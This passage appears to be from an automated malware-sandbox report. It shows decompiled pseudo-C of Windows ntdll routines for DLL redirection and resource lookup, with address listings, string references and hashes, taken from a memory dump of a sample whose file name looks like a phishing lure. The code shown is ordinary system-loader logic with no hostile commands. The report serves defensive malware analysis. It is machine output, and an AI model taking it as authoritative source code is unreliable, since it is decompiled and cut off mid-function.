												if(_t253 < 0) {
													goto L69;
												}
												_t361 = _v64;
												_t340 = _t330 + 8;
												L79:
												 *((intOrPtr*)(_t330 + 4)) =  *_t340;
												L00A5F720( *_t340 + (( *_t330 & 0x0000ffff) >> 1) * 2, _t361, _v80);
												_t342 =  *_t330 & 0x0000ffff;
												_t379 = _t379 + 0xc;
												_t364 = _v84 + _t342 & 0x0000ffff;
												 *_t330 = _t364;
												 *((short*)(_t330 + 2)) = _v68 + 2 + _t342;
												_t361 = 0;
												 *((short*)( *((intOrPtr*)(_t330 + 4)) + (_t364 >> 1) * 2)) = 0;
												_t340 = _t330 + 8;
												_t248 = _v44 + 1;
												_v44 = _t248;
												__eflags = _t248 - _v48;
												if(_t248 != _v48) {
													continue;
												}
												goto L36;
											}
											__eflags = _t252 -  *((intOrPtr*)(_t330 + 0x10));
											if(_t252 <=  *((intOrPtr*)(_t330 + 0x10))) {
												goto L79;
											}
											goto L77;
										}
										L85:
										_t370 = 0xc0000106;
										goto L2;
									}
									L36:
									_t266 =  *(_v152 + 4);
									__eflags = _t266 & 0x00000001;
									if((_t266 & 0x00000001) != 0) {
										L46:
										__eflags = _t266 & 0x00000004;
										if(__eflags != 0) {
											_t361 = _t330;
											_push( &_v40);
											_t370 = L00AA3F4D(_t330, _t340, _t330, _t368, _t372, __eflags);
											__eflags = _t370;
											if(_t370 < 0) {
												goto L2;
											}
											_t361 = _v40;
											 *_t330 = 0;
											_t271 = (_v40 & 0x0000ffff) + 2;
											__eflags = _t271 - 0xfffe;
											if(_t271 <= 0xfffe) {
												_t376 = _t330 + 8;
												__eflags = _t376;
												if(_t376 == 0) {
													L93:
													_t272 = E00A4D690(_t340, 0, _t376, _t271);
													__eflags = _t272;
													if(_t272 >= 0) {
														_t361 = _v40;
														L96:
														 *((intOrPtr*)(_t330 + 4)) =  *_t376;
														L00A5F720( *_t376 + (( *_t330 & 0x0000ffff) >> 1) * 2, _v36, _t361 & 0x0000ffff);
														_t192 = ( *_t330 & 0x0000ffff) + _v40 + 2; // 0x20002
														 *((short*)(_t330 + 2)) = _t192;
														_t279 = ( *_t330 & 0x0000ffff) + _v40 & 0x0000ffff;
														 *_t330 = _t279;
														_t361 = 0;
														 *((short*)( *((intOrPtr*)(_t330 + 4)) + (_t279 >> 1) * 2)) = 0;
														goto L47;
													}
													_t370 = 0xc0000017;
													goto L2;
												}
												__eflags = _t271 -  *((intOrPtr*)(_t330 + 0x10));
												if(_t271 <=  *((intOrPtr*)(_t330 + 0x10))) {
													goto L96;
												}
												goto L93;
											}
											_t370 = 0xc0000106;
											goto L2;
										}
										L47:
										_t281 = _v88;
										__eflags = _t281;
										if(_t281 != 0) {
											 *_t281 =  *_t281 | 0x00000002;
										}
										_t370 = 0;
										goto L2;
									}
									__eflags = _t266 & 0x00000008;
									if((_t266 & 0x00000008) != 0) {
										_t370 = E00A33690(1,  &_v76, 0x9f1810,  &_v48);
										__eflags = _t370;
										if(_t370 >= 0) {
											_t366 = _v76 + 0xfffe - _v48;
											_t372 = _v60;
											_t289 = _v72 + ((_v48 & 0x0000ffff) >> 1) * 2 + 2;
											_t340 = _t330 + 8;
											L39:
											_v46 = _t366;
											_t361 = _t366 & 0x0000ffff;
											 *_t372 =  *_t372 + _t361;
											__eflags =  *_t372 - 0xffff;
											_v56 = _t289;
											_v68 = _t361;
											if( *_t372 >= 0xffff) {
												goto L85;
											}
											_t292 = ( *_t330 & 0x0000ffff) + 2 + _t361;
											__eflags = _t292 - 0xfffe;
											if(_t292 > 0xfffe) {
												_t370 = 0xc0000106;
												goto L2;
											}
											__eflags = _t340;
											if(_t340 == 0) {
												L43:
												_t293 = E00A4D690(_t340, 0, _t340, _t292);
												__eflags = _t293;
												if(_t293 < 0) {
													_t370 = 0xc0000017;
													goto L2;
												}
												_t361 = _v68;
												_t340 = _t330 + 8;
												L45:
												 *((intOrPtr*)(_t330 + 4)) =  *_t340;
												L00A5F720( *_t340 + (( *_t330 & 0x0000ffff) >> 1) * 2, _v56, _t361);
												_t379 = _t379 + 0xc;
												_t354 = ( *_t330 & 0x0000ffff) + _v46;
												 *((short*)(_t330 + 2)) = _t354 + 2;
												_t299 = _t354 & 0x0000ffff;
												 *_t330 = _t299;
												_t340 = _t299 >> 1;
												_t361 = 0;
												__eflags = 0;
												 *((short*)( *((intOrPtr*)(_t330 + 4)) + (_t299 >> 1) * 2)) = 0;
												_t266 =  *(_v152 + 4);
												goto L46;
											}
											__eflags = _t292 -  *((intOrPtr*)(_t330 + 0x10));
											if(_t292 <=  *((intOrPtr*)(_t330 + 0x10))) {
												goto L45;
											}
											goto L43;
										}
										__eflags = _t370 - 0xc0000225;
										if(_t370 == 0xc0000225) {
											E00AB5100(_t340, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x477, "Status != STATUS_NOT_FOUND");
											_t370 = 0xc00000e5;
										}
										goto L2;
									}
									_t289 = _v72;
									_t366 = _v76;
									goto L39;
								}
								 *_t330 = 0;
								_t305 = ( *_t361 & 0x0000ffff) + 2;
								__eflags = _t305 - 0xfffe;
								if(_t305 > 0xfffe) {
									_t370 = 0xc0000106;
									goto L2;
								}
								__eflags = _t340;
								if(_t340 == 0) {
									L71:
									_t306 = E00A4D690(_t340, 0, _t340, _t305);
									__eflags = _t306;
									if(_t306 >= 0) {
										_t361 = _v52;
										_t340 = _t330 + 8;
										L34:
										 *((intOrPtr*)(_t330 + 4)) =  *_t340;
										L00A5F720( *_t340 + (( *_t330 & 0x0000ffff) >> 1) * 2,  *((intOrPtr*)(_t361 + 4)),  *_t361 & 0x0000ffff);
										_t357 = _v52;
										_t379 = _t379 + 0xc;
										_t367 =  *_t330 & 0x0000ffff;
										 *((short*)(_t330 + 2)) = ( *_t357 & 0x0000ffff) + 2 + _t367;
										_t317 = ( *_t357 & 0x0000ffff) + _t367 & 0x0000ffff;
										 *_t330 = _t317;
										_t361 = 0;
										__eflags = 0;
										 *((short*)( *((intOrPtr*)(_t330 + 4)) + (_t317 >> 1) * 2)) = 0;
										_t340 = _t330 + 8;
										goto L35;
									}
									_t370 = 0xc0000017;
									goto L2;
								}
								__eflags = _t305 -  *((intOrPtr*)(_t330 + 0x10));
								if(_t305 >  *((intOrPtr*)(_t330 + 0x10))) {
									goto L71;
								}
								goto L34;
							}
							__eflags = _t244 -  *((intOrPtr*)(_t330 + 0x10));
							if(_t244 <=  *((intOrPtr*)(_t330 + 0x10))) {
								goto L30;
							}
							goto L28;
						}
					}
					_t360 = 0;
					_v44 = 0;
					__eflags = _t227 & 0x00000004;
					if((_t227 & 0x00000004) != 0) {
						_push("sxsisol_SearchActCtxForDllName");
						_push( *((intOrPtr*)( *[fs:0x18] + 0x24)));
						L00AA5720(0x33, 0, "[%x.%x] SXS: %s - Relative redirection plus env var expansion.\n",  *((intOrPtr*)( *[fs:0x18] + 0x20)));
						goto L57;
					}
					_t324 = _v120;
					__eflags = _t324 & 0x00000001;
					if((_t324 & 0x00000001) != 0) {
						__eflags = _t324 & 0x00000002;
						if((_t324 & 0x00000002) != 0) {
							E00AB5100(0, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x41b, "!(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT)");
							_t370 = 0xc00000e5;
							goto L2;
						}
						_t360 = 1;
					}
					__eflags = _t324 & 0x00000002;
					if((_t324 & 0x00000002) != 0) {
						_t360 = _t360 | 0x00000002;
					}
					_t361 = _t368;
					_t370 = L00A4C63D(_t360, _t368, _v124,  &_v52, _t360,  &_v44);
					__eflags = _t370;
					if(_t370 < 0) {
						__eflags = _t370 - 0xc0000120;
						if(_t370 == 0xc0000120) {
							_t329 = _v44;
							__eflags = _t329;
							if(_t329 < 0) {
								_t370 = _t329;
							}
						}
						goto L2;
					} else {
						_t335 = _v152;
						_t361 = _v132;
						goto L22;
					}
				}
				if(_t370 == 0xc0150001) {
					_t370 = 0xc0150008;
				}
				goto L2;
			}

0x00a32990
0x00a329a2
0x00a329a9
0x00a329ae
0x00a329b1
0x00a329b8
0x00a329c4
0x00a329c7
0x00a329d1
0x00a329d8
0x00a329db
0x00a329de
0x00a329e3
0x00a329e6
0x00a329e9
0x00a329ec
0x00a329ef
0x00a329f4
0x00a32a02
0x00a32a0b
0x00a32a12
0x00a32a19
0x00a32a25
0x00a32a29
0x00a32a89
0x00a32a8d
0x00a7d3f9
0x00a32a37
0x00a32a37
0x00a32a3a
0x00a32a3f
0x00a32a43
0x00a7d6ed
0x00a7d6f4
0x00a7d6f9
0x00a7d6f9
0x00a32a4c
0x00a32a4f
0x00a32a4f
0x00a32a52
0x00a32a57
0x00a32a5b
0x00a32a5b
0x00a32a60
0x00a32a68
0x00a32a6e
0x00a32d15
0x00a32d15
0x00a32a86
0x00a32a86
0x00a32a93
0x00a32a9a
0x00a32a9d
0x00a7d428
0x00a7d428
0x00000000
0x00a7d428
0x00a32aa3
0x00a32aaa
0x00000000
0x00000000
0x00a32ab0
0x00a32ab6
0x00a32ab9
0x00a32abc
0x00000000
0x00000000
0x00a32ac2
0x00a32ac5
0x00a32aca
0x00000000
0x00000000
0x00a32ad0
0x00a32adb
0x00a32add
0x00000000
0x00000000
0x00a32ae3
0x00a32ae6
0x00a32ae9
0x00a32aeb
0x00000000
0x00000000
0x00a32af1
0x00a32af4
0x00a32af6
0x00a32b42
0x00a32b4b
0x00a32b4e
0x00a32b51
0x00a32b58
0x00a32b61
0x00a32b63
0x00a32b66
0x00a32b68
0x00a32b6b
0x00a7d473
0x00a7d473
0x00a7d475
0x00a7d475
0x00a7d47c
0x00a7d47f
0x00a7d482
0x00a7d486
0x00a7d488
0x00000000
0x00000000
0x00a7d48d
0x00a7d490
0x00a7d493
0x00a7d498
0x00a7d49a
0x00000000
0x00000000
0x00a7d4a1
0x00a7d4a3
0x00000000
0x00000000
0x00a7d4ab
0x00a7d4b0
0x00a7d4b6
0x00a7d4b7
0x00a7d4b9
0x00a7d4bc
0x00a7d4bf
0x00000000
0x00000000
0x00a7d4c4
0x00000000
0x00a7d4c4
0x00000000
0x00a7d475
0x00a32b71
0x00a32b71
0x00a32b74
0x00a32b77
0x00a32b79
0x00a32b7e
0x00a32b7e
0x00a32b80
0x00a32b82
0x00a32b82
0x00a32b88
0x00a32b8b
0x00a32b90
0x00a7d4cc
0x00000000
0x00a32b96
0x00a32b96
0x00a32b99
0x00a32b9b
0x00a32ba2
0x00a32ba6
0x00a32bab
0x00a32bad
0x00a7d4d6
0x00a7d4d6
0x00000000
0x00a7d4d6
0x00a32bb3
0x00a32bb6
0x00a32bb9
0x00a32bbb
0x00a32bc2
0x00a32bc6
0x00a32bc8
0x00a32c3e
0x00a32c3e
0x00a32c40
0x00a32c43
0x00a32c46
0x00a7d50c
0x00a7d50c
0x00a7d512
0x00a7d51a
0x00a7d51c
0x00a7d522
0x00a7d525
0x00a7d52e
0x00a7d531
0x00a7d533
0x00a7d536
0x00a7d539
0x00a7d53e
0x00000000
0x00000000
0x00a7d544
0x00a7d546
0x00a7d54d
0x00a7d551
0x00a7d556
0x00a7d558
0x00000000
0x00000000
0x00a7d55e
0x00a7d561
0x00a7d564
0x00a7d56f
0x00a7d576
0x00a7d57b
0x00a7d57e
0x00a7d586
0x00a7d58f
0x00a7d596
0x00a7d59a
0x00a7d5a1
0x00a7d5a5
0x00a7d5ab
0x00a7d5ac
0x00a7d5af
0x00a7d5b2
0x00000000
0x00000000
0x00000000
0x00a7d5b8
0x00a7d548
0x00a7d54b
0x00000000
0x00000000
0x00000000
0x00a7d54b
0x00a7d630
0x00a7d630
0x00000000
0x00a7d630
0x00a32c4c
0x00a32c52
0x00a32c55
0x00a32c57
0x00a32cfe
0x00a32cfe
0x00a32d00
0x00a7d651
0x00a7d653
0x00a7d659
0x00a7d65b
0x00a7d65d
0x00000000
0x00000000
0x00a7d663
0x00a7d669
0x00a7d66f
0x00a7d672
0x00a7d677
0x00a7d683
0x00a7d686
0x00a7d688
0x00a7d68f
0x00a7d693
0x00a7d698
0x00a7d69a
0x00a7d6a6
0x00a7d6aa
0x00a7d6b8
0x00a7d6bf
0x00a7d6ce
0x00a7d6d1
0x00a7d6d5
0x00a7d6da
0x00a7d6e2
0x00a7d6e4
0x00000000
0x00a7d6e4
0x00a7d69c
0x00000000
0x00a7d69c
0x00a7d68a
0x00a7d68d
0x00000000
0x00000000
0x00000000
0x00a7d68d
0x00a7d679
0x00000000
0x00a7d679
0x00a32d06
0x00a32d06
0x00a32d09
0x00a32d0b
0x00a32d39
0x00a32d39
0x00a32d0d
0x00000000
0x00a32d0d
0x00a32c5d
0x00a32c5f
0x00a7d5d1
0x00a7d5d3
0x00a7d5d5
0x00a7d617
0x00a7d61d
0x00a7d625
0x00a7d628
0x00a32c6c
0x00a32c6c
0x00a32c70
0x00a32c73
0x00a32c75
0x00a32c7b
0x00a32c7e
0x00a32c81
0x00000000
0x00000000
0x00a32c8d
0x00a32c8f
0x00a32c94
0x00a7d63a
0x00000000
0x00a7d63a
0x00a32c9a
0x00a32c9c
0x00a32ca3
0x00a32ca7
0x00a32cac
0x00a32cae
0x00a7d644
0x00000000
0x00a7d644
0x00a32cb4
0x00a32cb7
0x00a32cba
0x00a32cc5
0x00a32ccc
0x00a32cd4
0x00a32cd7
0x00a32cde
0x00a32ce2
0x00a32ce7
0x00a32ced
0x00a32cef
0x00a32cef
0x00a32cf1
0x00a32cfb
0x00000000
0x00a32cfb
0x00a32c9e
0x00a32ca1
0x00000000
0x00000000
0x00000000
0x00a32ca1
0x00a7d5d7
0x00a7d5dd
0x00a7d5f7
0x00a7d5fc
0x00a7d5fc
0x00000000
0x00a7d5dd
0x00a32c65
0x00a32c68
0x00000000
0x00a32c68
0x00a32bcc
0x00a32bd2
0x00a32bd5
0x00a32bda
0x00a7d4e0
0x00000000
0x00a7d4e0
0x00a32be0
0x00a32be2
0x00a7d4ea
0x00a7d4ee
0x00a7d4f3
0x00a7d4f5
0x00a7d501
0x00a7d504
0x00a32bf1
0x00a32bf3
0x00a32c06
0x00a32c0b
0x00a32c0e
0x00a32c11
0x00a32c1e
0x00a32c28
0x00a32c2d
0x00a32c35
0x00a32c35
0x00a32c37
0x00a32c3b
0x00000000
0x00a32c3b
0x00a7d4f7
0x00000000
0x00a7d4f7
0x00a32be8
0x00a32beb
0x00000000
0x00000000
0x00000000
0x00a32beb
0x00a32b9d
0x00a32ba0
0x00000000
0x00000000
0x00000000
0x00a32ba0
0x00a32b90
0x00a32af8
0x00a32afa
0x00a32b01
0x00a32b03
0x00a7d406
0x00a7d40b
0x00a7d420
0x00000000
0x00a7d425
0x00a32b09
0x00a32b0c
0x00a32b0e
0x00a32d27
0x00a32d29
0x00a7d446
0x00a7d44b
0x00000000
0x00a7d44b
0x00a32d2f
0x00a32d2f
0x00a32b14
0x00a32b16
0x00a32d1f
0x00a32d1f
0x00a32b1f
0x00a32b2f
0x00a32b31
0x00a32b33
0x00a7d455
0x00a7d45b
0x00a7d461
0x00a7d464
0x00a7d466
0x00a7d46c
0x00a7d46c
0x00a7d466
0x00000000
0x00a32b39
0x00a32b39
0x00a32b3f
0x00000000
0x00a32b3f
0x00a32b33
0x00a32a31
0x00a7d3ef
0x00a7d3ef
0x00000000

Strings

!(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT), xrefs: 00A7D432
Internal error check failed, xrefs: 00A7D441, 00A7D5F2
sxsisol_SearchActCtxForDllName, xrefs: 00A7D406
@, xrefs: 00A329C7
[%x.%x] SXS: %s - Relative redirection plus env var expansion., xrefs: 00A7D417
minkernel\ntdll\sxsisol.cpp, xrefs: 00A7D43C, 00A7D5ED
Status != STATUS_NOT_FOUND, xrefs: 00A7D5E3

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: !(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT)$@$Internal error check failed$Status != STATUS_NOT_FOUND$[%x.%x] SXS: %s - Relative redirection plus env var expansion.$minkernel\ntdll\sxsisol.cpp$sxsisol_SearchActCtxForDllName
API String ID: 0-761764676
Opcode ID: 7fff505042fdf12814673c49978a9207e870112bfdb6fa6b401d7279aca757b4
Instruction ID: d0c2843c76ac4853df29bb401ad61e052cc745f3b7bf1aef3955cc33f0bfac12
Opcode Fuzzy Hash: 7fff505042fdf12814673c49978a9207e870112bfdb6fa6b401d7279aca757b4
Instruction Fuzzy Hash: 16125C75E002299BCB24CFA8C881BBEB7B4FF58714F148469F949EB251E734AC41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00A478A0, Relevance: 8.5, Strings: 6, Instructions: 989
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00A478A0(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, intOrPtr _a12, signed int _a16, intOrPtr* _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int* _a36, signed int _a40, signed int _a44) {
				signed int _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				signed int _v32;
				signed short _v34;
				signed short _v36;
				char _v48;
				char _v64;
				signed int _v68;
				signed int _v72;
				char _v73;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed short _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				short _v148;
				signed int _v152;
				intOrPtr _v156;
				intOrPtr* _v160;
				signed int _v164;
				signed int _v168;
				signed short _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				signed int _v212;
				intOrPtr _v216;
				signed int* _v220;
				char* _v228;
				char _v232;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t462;
				signed int _t463;
				signed int* _t473;
				signed char* _t474;
				signed int _t475;
				signed char* _t476;
				signed int _t478;
				signed int _t480;
				intOrPtr _t484;
				signed int _t488;
				signed char* _t489;
				signed int _t490;
				signed char* _t491;
				signed int _t499;
				signed int _t501;
				signed int _t504;
				void* _t505;
				signed int _t506;
				signed int _t508;
				void* _t512;
				signed int _t514;
				signed int _t520;
				signed int _t524;
				signed int _t525;
				signed int _t530;
				signed int _t532;
				signed int _t533;
				signed int _t535;
				signed int _t537;
				signed int _t539;
				signed int _t541;
				signed int _t546;
				intOrPtr _t555;
				signed short _t557;
				signed int _t560;
				signed int _t562;
				signed int _t565;
				signed int _t567;
				signed int _t568;
				signed int _t571;
				signed int _t572;
				signed int _t573;
				signed int _t575;
				signed int _t577;
				signed int _t578;
				signed int _t580;
				signed int _t583;
				signed int _t587;
				signed int _t589;
				signed int _t591;
				signed int _t597;
				signed char _t601;
				signed int _t609;
				void* _t610;
				intOrPtr _t611;
				void* _t612;
				signed int _t613;
				signed int _t615;
				signed int _t616;
				signed int _t619;
				signed int _t620;
				signed int* _t621;
				signed int _t622;
				intOrPtr _t626;
				void* _t632;
				signed int _t634;
				signed int _t637;
				intOrPtr _t638;
				signed int _t641;
				signed int _t647;
				signed int _t649;
				signed int _t653;
				signed int _t667;
				signed int _t669;
				intOrPtr _t671;
				signed int _t672;
				signed int _t674;
				signed int _t689;
				signed int _t698;
				signed char _t702;
				intOrPtr _t708;
				void* _t712;
				signed int _t714;
				signed int _t716;
				signed int _t717;
				signed int _t719;
				void* _t720;
				signed int _t721;
				signed int _t723;
				signed int _t724;
				signed int _t725;
				intOrPtr* _t727;
				void* _t728;
				signed int _t729;
				signed int _t730;
				signed int _t731;
				signed int _t732;
				signed int _t733;
				signed int _t734;
				signed int _t743;
				void* _t744;
				signed int _t752;
				signed int _t775;
				void* _t783;

				_t699 = __edx;
				_push(0xfffffffe);
				_push(0xaf00b0);
				_push(0xa617f0);
				_push( *[fs:0x0]);
				_t462 =  *0xb0d360;
				_v12 = _v12 ^ _t462;
				_t463 = _t462 ^ _t743;
				_v32 = _t463;
				_push(_t463);
				 *[fs:0x0] =  &_v20;
				_v28 = _t744 - 0xd4;
				_v140 = __edx;
				_v100 = __ecx;
				_t609 = _a8;
				_v92 = _t609;
				_t626 = _a12;
				_v156 = _t626;
				_v164 = _a16;
				_t727 = _a20;
				_v160 = _t727;
				_v176 = _a28;
				_v200 = _a32;
				_v220 = _a36;
				_v108 = _a44;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v148 = 0;
				_v128 = 0;
				_v72 = 0;
				_v112 = 0;
				_v184 = 0x560054;
				_v180 = L"LdrpResSearchResourceInsideDirectory Enter";
				_v232 = 0x540052;
				_v228 = L"LdrpResSearchResourceInsideDirectory Exit";
				_t473 =  *( *[fs:0x30] + 0x50);
				if(_t473 != 0) {
					__eflags =  *_t473;
					if( *_t473 == 0) {
						goto L1;
					}
					_t474 =  *( *[fs:0x30] + 0x50) + 0x22b;
					L2:
					if(( *_t474 & 0x00000001) != 0) {
						_t475 = E00A37D50();
						__eflags = _t475;
						if(_t475 == 0) {
							_t476 = 0x7ffe0384;
						} else {
							_t476 =  *( *[fs:0x30] + 0x50) + 0x22a;
						}
						_t699 =  *_t476 & 0x000000ff;
						L00AA6715( &_v184,  *_t476 & 0x000000ff);
						_t626 = _v156;
					}
					if(_t609 == 0 || _t626 == 0 || _t727 == 0) {
						L196:
						_t478 = 0xc000000d;
						goto L70;
					} else {
						_t611 = _a24;
						_t37 = _t611 - 1; // 0x9f4f83
						_t480 = _t37;
						if(_t480 > 3) {
							goto L196;
						}
						_t699 = _a40;
						_v104 = _t699;
						_t752 = _t699 & 0x00008000;
						if(_t752 != 0) {
							_t480 = _v140;
							__eflags = _t480;
							if(_t480 == 0) {
								goto L196;
							}
							__eflags = _t480 - 0xffffffff;
							if(_t480 == 0xffffffff) {
								goto L196;
							}
							__eflags = _v164;
							if(_v164 != 0) {
								goto L8;
							}
							goto L196;
						}
						L8:
						_t714 = _t699 & 0x00001000;
						_v84 = _t714;
						_v144 = _t480 & 0xffffff00 | _t752 != 0x00000000;
						if((_t699 & 0x00008800) == 0x8800) {
							_t632 = 1;
						} else {
							_t632 = 0;
						}
						_v73 = _t632;
						if(_t714 == 0 || _a4 != 0) {
							if(_t632 != 0 || _v100 != 0) {
								if(_t632 == 1) {
									__eflags = _v140;
									if(_v140 == 0) {
										goto L196;
									}
								}
								_v208 = _t727;
								_t484 = _t611;
								_v120 = _t484;
								_t729 = _v92;
								_v88 = 0;
								_v96 = 0;
								_v136 = 0;
								if(_v108 != 0) {
									 *_v108 = 0;
									_t611 = _t484;
									_t699 = _v104;
								}
								_v8 = 0;
								_v172 = _v112;
								while(1) {
									L18:
									_t716 = _v84;
									if(_t729 == 0) {
										break;
									}
									_t708 = _v120 - 1;
									_v120 = _t708;
									_v216 = _t708;
									_t699 = _v104;
									if(_t484 == 0) {
										L59:
										_t484 = _v120;
										break;
									}
									_v128 =  *_v160;
									if(_v120 == 0) {
										__eflags = _t611 - 3;
										if(_t611 != 3) {
											goto L21;
										}
										_v136 = _t729;
										_t597 = _v176;
										__eflags = _t597;
										if(_t597 == 0) {
											_v68 = 0xc000000d;
											L64:
											_t717 = _v72;
											L65:
											__eflags = _t717;
											if(_t717 != 0) {
												L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t717);
												_v72 = 0;
											}
											_t488 =  *( *[fs:0x30] + 0x50);
											__eflags = _t488;
											if(_t488 != 0) {
												__eflags =  *_t488;
												if( *_t488 == 0) {
													goto L67;
												}
												_t489 =  *( *[fs:0x30] + 0x50) + 0x22b;
												goto L68;
											} else {
												L67:
												_t489 = 0x7ffe0385;
												L68:
												__eflags =  *_t489 & 0x00000001;
												if(( *_t489 & 0x00000001) != 0) {
													_t490 = E00A37D50();
													__eflags = _t490;
													if(_t490 == 0) {
														_t491 = 0x7ffe0384;
													} else {
														_t491 =  *( *[fs:0x30] + 0x50) + 0x22a;
													}
													_t699 =  *_t491 & 0x000000ff;
													L00AA6715( &_v232,  *_t491 & 0x000000ff);
												}
												_v8 = 0xfffffffe;
												_t478 = _v68;
												L70:
												 *[fs:0x0] = _v20;
												_pop(_t712);
												_pop(_t728);
												_pop(_t610);
												__eflags = _v32 ^ _t743;
												return L00A5B640(_t478, _t610, _v32 ^ _t743, _t699, _t712, _t728);
											}
										}
										_v148 =  *_t597;
										_v172 = 0;
										_v112 = 0;
										_t601 =  !_t699;
										__eflags = _t601 & 0x00000004;
										if((_t601 & 0x00000004) != 0) {
											_v128 =  *(_v176 + 4) & 0x0000ffff;
										}
									}
									L21:
									if(_t632 != 0) {
										_t699 = _t729;
										_t478 = E00AA94CA(_v140,  &_v48, 0x10);
										_v68 = _t478;
										__eflags = _t478;
										if(_t478 < 0) {
											L270:
											_v8 = 0xfffffffe;
											goto L70;
										}
										_t632 = _v73;
										__eflags = _t632;
										if(_t632 == 0) {
											goto L22;
										}
										L203:
										_t546 = _v36 & 0x0000ffff;
										L28:
										_v116 = _t546;
										_v132 = _t546;
										if(_t546 != 0) {
											__eflags = _t716;
											if(_t716 == 0) {
												goto L29;
											}
											_t699 = _t546 * 8 >> 0x20;
											_t589 = E00A4F3D5( &_v196, _t546 * 8, _t546 * 8 >> 0x20);
											__eflags = _t589;
											if(_t589 < 0) {
												_v68 = 0xc000007b;
												goto L64;
											}
											_t725 = _v196;
											_t699 = _t725 + 0x10;
											_t591 = E00A11C45(_t729, _t725 + 0x10,  &_v80);
											__eflags = _t591;
											if(_t591 < 0) {
												_v68 = 0xc000007b;
												goto L64;
											}
											__eflags = _t725 + 0x10 + _t729 - (_v100 & 0xfffffffc) + _a4;
											if(_t725 + 0x10 + _t729 > (_v100 & 0xfffffffc) + _a4) {
												_v68 = 0xc000007b;
												goto L64;
											}
											_t546 = _v116;
											_t632 = _v73;
										}
										L29:
										_t77 = _t729 + 0x10; // 0x10
										_t721 = _t77;
										_v188 = _t721;
										_v152 = _t721;
										if((_v128 & 0xffff0000) != 0) {
											L40:
											L41:
											if(_t546 == 0) {
												_v124 = 0;
												_t484 = _v120;
												L62:
												_t612 = _t611 - _t484;
												__eflags = _t612 - 1;
												if(_t612 != 1) {
													_t613 = _t612 - 2;
													__eflags = _t613;
													if(_t613 != 0) {
														__eflags = _t613 == 1;
														if(_t613 == 1) {
															_v68 = 0xc0000204;
														} else {
															_v68 = 0xc000000d;
														}
													} else {
														_v68 = 0xc000008b;
													}
												} else {
													_v68 = 0xc000008a;
												}
												goto L64;
											}
											if(_v73 != 0) {
												_t667 = _v72;
												__eflags = _t667;
												if(_t667 != 0) {
													L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t667);
													_v72 = 0;
													_t546 = _v132;
												}
												_t738 = _t546 * 8;
												_t717 = L00A34620(_t667,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t546 * 8);
												_v72 = _t717;
												__eflags = _t717;
												if(_t717 != 0) {
													_t699 = _v152;
													_t478 = E00AA94CA(_v140, _t717, _t738);
													_v68 = _t478;
													__eflags = _t478;
													if(_t478 < 0) {
														goto L270;
													}
													_v188 = _t717;
													_v152 = _t717;
													_v104 = _a40;
													_v172 = _v112;
													_v160 = _v208;
													_v120 = _v216;
													_v88 = _v96;
													_t546 = _v132;
													_v116 = _t546;
													_t669 = _v84;
													goto L43;
												} else {
													_v68 = 0xc0000017;
													goto L65;
												}
											}
											L43:
											_t699 = _v104;
											L44:
											while(1) {
												L44:
												if(_v136 != 0) {
													__eflags = _t699 & 0x00000020;
													if((_t699 & 0x00000020) == 0) {
														while(1) {
															L46:
															_t729 = 0;
															_v124 = 0;
															_t622 = _t717;
															_v152 = _t622;
															_t105 = _t546 - 1; // 0x0
															_t671 = _t717 + _t105 * 8;
															_v204 = _t671;
															_v132 = _t546;
															while(1) {
																L47:
																_t783 = _t622 - _t671;
																if(_t783 > 0) {
																	break;
																}
																_t723 = _t546 >> 1;
																if(_t783 != 0) {
																	_t567 = _t546 & 0x00000001;
																	__eflags = _t567;
																	_v180 = _t567;
																	_t568 = _t622 + _t723 * 8;
																	_v168 = _t568;
																	if(_t567 == 0) {
																		_t568 = _t568 + 0xfffffff8;
																		__eflags = _t568;
																		_v168 = _t568;
																	}
																	_t699 = _v140;
																	_t478 = E00A48379(_v100, _v140, _a4, _v128, _v92, _t568, _v140,  &_v192);
																	_v68 = _t478;
																	__eflags = _t478;
																	if(_t478 < 0) {
																		goto L270;
																	} else {
																		__eflags = _v192;
																		if(__eflags == 0) {
																			_t571 =  *(_v168 + 4);
																			__eflags = _t571;
																			if(_t571 >= 0) {
																				_t729 = 0;
																				_v124 = 0;
																				__eflags = _v84;
																				if(_v84 == 0) {
																					_t572 = _t571 + _v92;
																					L137:
																					_v96 = _t572;
																					_v88 = _t572;
																					break;
																				}
																				__eflags = _v136;
																				if(_v136 != 0) {
																					_t699 = _t571;
																					_t573 = E00A11C45(_v92, _t571,  &_v80);
																					__eflags = _t573;
																					if(_t573 >= 0) {
																						L136:
																						_t572 = _v80;
																						goto L137;
																					}
																					_v68 = 0xc000007b;
																					goto L64;
																				}
																				_v68 = 0xc000007b;
																				goto L64;
																			}
																			__eflags = _v84 - _t729;
																			if(_v84 == _t729) {
																				_t729 = (_t571 & 0x7fffffff) + _v92;
																				_v124 = _t729;
																				break;
																			}
																			__eflags = _v136 - _t729;
